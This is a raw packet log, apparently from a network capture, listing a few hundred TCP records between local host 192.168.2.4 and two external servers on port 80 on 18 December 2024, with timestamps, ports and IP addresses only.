Dec 18, 2024 17:08:42.171757936 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.171814919 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.172465086 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.172475100 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.172663927 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.174125910 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.174618006 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.174693108 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.175960064 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.176081896 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.176202059 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.176310062 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.176904917 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.177586079 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.177637100 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.179096937 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.179615974 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.179768085 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.180073023 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.180289984 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.180725098 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.180788994 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.181552887 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.182070017 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.182130098 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.184298038 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.184645891 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.184747934 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.185358047 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.185374975 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.185467005 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.186928988 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.187551975 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.187608004 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.188925982 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.188982010 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.189237118 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.189387083 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.189891100 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.190607071 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.190771103 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.192260981 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.192595005 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.192646980 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.193240881 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.193356037 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.193970919 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.194036007 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.194958925 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.195383072 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.195440054 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.197573900 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.197916031 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.197969913 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.198642015 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.198651075 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.198700905 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.200197935 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.200668097 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.200727940 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.202155113 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.202370882 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.202493906 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.202572107 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.203207016 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.203881979 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.204045057 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.204793930 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.205270052 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.205323935 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.206698895 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.206793070 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.207214117 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.207289934 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.207830906 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.207839966 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.207895041 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.209053040 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.209753990 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.209800959 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.210685015 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.211237907 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.211299896 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.211864948 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.211874008 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.211950064 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.213258028 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.213973045 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.214032888 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.214767933 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.215425014 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.215540886 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.216129065 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.216187954 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.216614962 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.216700077 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.216943979 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.217618942 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.217665911 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.218449116 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.219144106 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.219206095 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.220438004 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.220719099 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.220762968 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.222213030 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.222584963 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.222640038 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.224208117 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.242964029 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.243077993 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.243272066 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.243916988 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.243990898 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.244326115 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.244883060 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.244937897 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.245290041 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.245742083 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.245805979 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.247308016 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.247682095 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.247744083 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.249315977 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.249691010 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.249743938 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.324856997 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.325087070 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.325205088 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.325316906 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.326631069 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.326714993 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.326983929 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.327080011 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.330239058 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.330328941 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.330761909 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.330852985 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.334338903 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.334402084 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.335021973 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.335119009 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.337538004 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.337749958 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.337876081 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.337934971 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.341065884 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.341113091 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.341428041 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.341483116 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.342761993 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.343117952 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.343188047 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.343826056 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.344523907 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.344577074 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.345201969 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.345210075 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.345315933 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.346613884 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.346622944 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.346668959 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.347989082 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.348644018 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.348653078 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.348712921 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.348761082 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.350003004 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.350040913 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.350737095 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.350744963 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.350790024 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.352260113 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.352268934 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.352315903 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.353581905 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.353590012 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.353641033 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.355181932 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.355191946 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.355246067 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.356395006 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.356404066 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.356599092 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.357700109 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.357719898 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.357764959 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.359215975 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.359226942 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.359327078 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.360763073 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.360773087 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.360826969 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.362277985 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.362298965 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.362349987 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.363838911 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.363850117 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.363857985 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.363922119 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.365318060 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.365338087 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.365392923 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.366997004 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.367007017 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.367063999 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.367126942 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.368477106 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.368586063 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.371706963 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.372085094 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.372093916 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.372252941 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.373871088 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.373883963 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.373958111 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.373994112 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.375796080 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.375804901 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.375876904 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.377398968 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.377408981 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.377465010 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.378789902 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.378798962 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.378855944 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.378915071 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.380234957 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.380247116 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.380271912 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.380322933 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.380325079 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.381877899 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.381887913 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.381942034 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.383347988 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.383357048 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.383541107 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.384952068 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.384973049 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.385057926 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.386459112 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.386470079 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.386476994 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.386534929 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.387950897 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.387972116 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.388031006 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.388103008 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.389303923 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.389316082 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.389379025 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.390758038 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.390768051 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.390822887 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.392381907 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.392395020 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.392457962 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.392607927 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.393979073 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.393994093 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.394011021 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.394108057 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.394172907 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.395250082 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.395260096 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.395320892 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.396512032 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.396522045 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.396594048 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.398085117 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.398094893 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.398142099 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.399552107 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.399563074 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.399578094 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.399621010 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.399838924 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.401115894 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.401127100 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.401248932 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.403778076 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.403799057 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.403853893 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.404458046 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.404467106 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.404556036 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.404613972 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.405891895 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.405901909 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.406090021 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.407176018 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.407196045 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.407212019 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.407263994 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.408735991 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.408754110 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.408809900 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.410336018 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.410352945 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.410391092 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.411891937 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.411902905 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.411959887 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.413320065 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.413346052 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.413355112 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.413407087 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.413615942 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.414886951 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.414912939 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.415034056 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.416392088 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.416400909 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.416452885 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.417915106 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.417926073 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.417984009 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.417988062 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.420778990 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.420789003 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.420919895 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.420984983 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.420994043 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.421000957 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.421042919 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.425054073 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.425064087 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.425112009 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.425122023 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.425173998 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.425221920 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.425607920 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.425617933 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.425668001 CET	49822	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:42.427239895 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.427249908 CET	80	49823	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:42.427264929 CET	80	49822	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:42.427304029 CET	49823	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:42.428721905 CET	80	49822	185.185.71.170	192.168.2.4
